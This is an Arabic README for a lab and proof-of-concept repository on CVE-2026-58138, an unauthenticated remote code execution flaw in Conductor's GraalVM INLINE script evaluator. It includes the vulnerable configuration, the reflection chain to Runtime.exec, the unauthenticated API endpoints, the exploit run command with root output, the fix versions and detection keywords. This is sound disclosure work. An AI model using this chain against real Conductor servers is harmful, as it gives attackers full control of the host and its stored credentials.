CVE-2026-58138 — Conductor (3.21.21..<3.30.2) RCE غير مصادق عليه عبر INLINE GraalVM evaluator (HostAccess.ALL). مختبر + PoC، تم التحقق منه e2e (root).
Conductor (OSS / Orkes)
3.21.21… قبل3.30.2يُقيّم JavaScript المقدمة من المستخدم في مهامINLINE(وLAMBDA/DO_WHILE/SWITCH) بسياق GraalVM مبني بـ وصول كامل للمضيف (HostAccess.ALL). السكريبت يستخدم الانعكاس للوصول إلىjava.lang.Runtimeوينفذ أوامر النظام. واجهة API المجتمعية لا تحتاج مصادقة افتراضيًا، لذا فإن إرسال سير عمل بمثل هذه المهمة هو تنفيذ أوامر عن بُعد غير مصادق عليه.
| CVE | CVE-2026-58138 |
| إشعار | vulncheck — تنفيذ أوامر عن بُعد غير مصادق عليه في Orkes Conductor عبر مُقيمات سكريبت GraalVM |
| المتأثر | Conductor 3.21.21 … قبل 3.30.2 |
| الإصلاح | 3.30.2 (commits 87a7d96, c691e35) |
| التصنيف | CWE-94 (حقن الكود) — صندوق الحماية متعدد اللغات GraalVM غير مفعل |
| CVSS | 9.8 — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| المصادقة | لا شيء (واجهة API المجتمعية غير مصادق عليها افتراضيًا) |
| الحالة | مؤكد — تم إعادة إنتاجه كـ جذر على conductoross/conductor:3.22.3 |
ملاحظة حول الإصدار (اقرأ هذا). تكوين المُقيم يختلف داخل النطاق المتأثر: الإصدارات حتى ~
3.29.x(هذا المختبر يستخدم3.22.3) تبني السياق بـallowHostAccess(HostAccess.ALL)البسيط — التكوين غير المحمي الذي يصفه CVE، والذي يستغله هذا PoC مباشرة. خط3.30.0/3.30.1أضاف قائمة حظر جزئيةdenyAccess(...)(تم حظر الانعكاس)؛ الإصلاح الكامل (allowHostClassLoading(false)+ تقوية المحرك) يصل فقط في3.30.2. يستهدف PoC هذا تكوينHostAccess.ALLالبسيط؛ وهو لا يدعي تجاوز قائمة حظر3.30.1.
core/.../events/ScriptEvaluator.java (≤ 3.29.x / 3.22.3):
return Context.newBuilder("js")
.allowHostAccess(HostAccess.ALL) // full host interop -> no sandbox
.build();
HostAccess.ALL يسمح للسكريبت باستدعاء أي طريقة/حقل على كائنات المضيف Java. مهمة INLINE تربط مدخلاتها كـ $، وهو كائن Java حقيقي، لذا يمكن للسكريبت التنقل: $.getClass().getClass() → java.lang.Class → Class.forName("java.lang.Runtime") → Runtime.getRuntime().exec(...). مُقيم Python مكافئ (Context.newBuilder("python").allowAllAccess(true)).
INLINE التعبير الضار expression (POST /api/metadata/workflow، بدون مصادقة).POST /api/workflow/{name}، بدون مصادقة).Runtime.exec ينفذ الأمر ويعيد PoC stdout كنتيجة للمهمة.docker compose -f lab/docker-compose.yml up -d # conductoross/conductor:3.22.3 (in range)
# wait ~60s for the all-in-one server to boot
python3 exploit.py http://127.0.0.1:8080 -c "id; hostname"
الملاحظ:
[*] تسجيل سير عمل بمهمة INLINE ضارة (javascript) ... (بدون مصادقة)
[*] بدأ سير العمل id=...; قراءة مخرجات مهمة INLINE ...
[+] تم تأكيد RCE غير مصادق عليه - مخرجات الأوامر من مضيف Conductor:
uid=0(root) gid=0(root) groups=0(root)
vbox
Linux 6.18.12+kali-amd64
uid=0(root) هو مستخدم عملية Conductor؛ المخرجات هي حالة id/uname الحية — تنفيذ حقيقي، ليس صدى. يستخدم exploit.py مكتبة Python القياسية فقط.
أي شخص قادر على الوصول إلى واجهة Conductor API يمكنه تنفيذ أوامر نظام عشوائية (هنا كـ جذر) على مضيف المنسق — اختراق كامل لمحرك سير العمل، وبياناته المستمرة/قوائم الانتظار، وكل نظام تلمسه سير العمل وبيانات الاعتماد المخزنة.
وضع علامات على تعريفات سير العمل التي تحتوي مهام INLINE/LAMBDA/DO_WHILE/SWITCH فيها على سلاسل expression تشير إلى getClass، forName، Runtime، exec، ProcessBuilder، أو انعكاس java.، وعمليات Conductor التي تطلق شيلات.
انظر ANALYSIS.md لسلسلة الانعكاس، تكوين المُقيم عبر الإصدارات، والتصحيحات.